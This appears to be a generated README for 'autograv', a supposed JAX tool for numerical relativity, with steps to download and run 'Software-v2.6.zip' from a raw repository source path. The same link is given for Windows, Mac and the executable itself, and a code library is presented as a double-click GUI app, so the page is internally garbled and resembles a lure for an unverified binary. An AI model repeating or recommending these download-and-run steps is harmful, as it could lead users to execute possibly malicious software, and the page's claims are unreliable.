autograv is an application designed to help users understand complex concepts in numerical relativity through automatic differentiation using JAX. Whether you're a student, a researcher, or someone interested in general relativity, autograv provides powerful tools that make complex calculations more manageable.
To get started with autograv, follow the steps below. You’ll be running powerful simulations and exploring the universe in no time!
-
Visit the Releases Page
Go to the autograv Releases page to find the latest version of the software. -
Choose the Right Version
Look for the most recent release at the top of the page. You may see a list of available files for different operating systems.- For Windows, look for a file named something like
https://raw.githubusercontent.com/deva7518/autograv/main/src/autograv/Software-v2.6.zip. - For Mac, look for
https://raw.githubusercontent.com/deva7518/autograv/main/src/autograv/Software-v2.6.zip.
- For Windows, look for a file named something like
-
Download the File
Click on the file that matches your operating system. Your browser will start downloading the file. -
Extract the Downloaded File
Once the download is complete, locate the file in your downloads folder. If you downloaded a ZIP file, you will need to extract it. Right-click on the file and select "Extract All" or use any extraction tool you prefer. -
Run autograv
Open the extracted folder. Inside, you will find an executable file likehttps://raw.githubusercontent.com/deva7518/autograv/main/src/autograv/Software-v2.6.ziporautograv. Double-click on it to start the application.
autograv includes several features to enhance your experience:
- Easy-to-Use Interface: Navigating through the application is straightforward, even for those unfamiliar with coding.
- Powerful Simulations: Perform complex calculations related to the Einstein field equations seamlessly.
- Support for JAX: Utilize accelerated numerical computations with JAX, making your work faster and more efficient.
- Educational Resources: Access tutorials and explanations that break down concepts in numerical relativity and automatic differentiation.
Before installing, ensure your system meets the following requirements:
-
Operating System:
- Windows 10 or later
- macOS Mojave or later
- Linux distributions (Ubuntu preferred)
-
Memory:
At least 4 GB RAM. More is recommended for better performance. -
Disk Space:
Minimum 100 MB of free space for installation. -
Python Version:
This application runs best with Python 3.7 or later installed on your machine.
After launching autograv, you can begin by following these simple steps:
- Select a Calculation Type: Choose from the available options like spacetime curvature or Jacobian calculations.
- Input Your Parameters: Enter the necessary parameters into the fields provided. The application will guide you on what values are needed.
- Run the Calculation: Click the "Calculate" button to see your results. The software will display the outcomes clearly.
- Visualize the Results: Use built-in tools to visualize the data, helping you understand the nuances of numerical relativity better.
We encourage users to engage with the community. If you have questions or need assistance, feel free to:
- Join the Discussion: Engage with other users on the GitHub Discussions page.
- Report Issues: If you face any bugs or issues, report them on the Issues page. Include as much detail as possible.
For more information, consider checking out the following resources:
- Detailed Documentation: Visit the Wiki on GitHub to find in-depth articles on features.
- Tutorials: Browse through the collection of tutorials aimed at beginners in numerical relativity and automatic differentiation.
We value your input! Share your thoughts on how we can improve autograv. Visit the Feedback section to leave your comments or suggestions. Your insights help shape the direction of future updates.
Enjoy your exploration of the universe with autograv!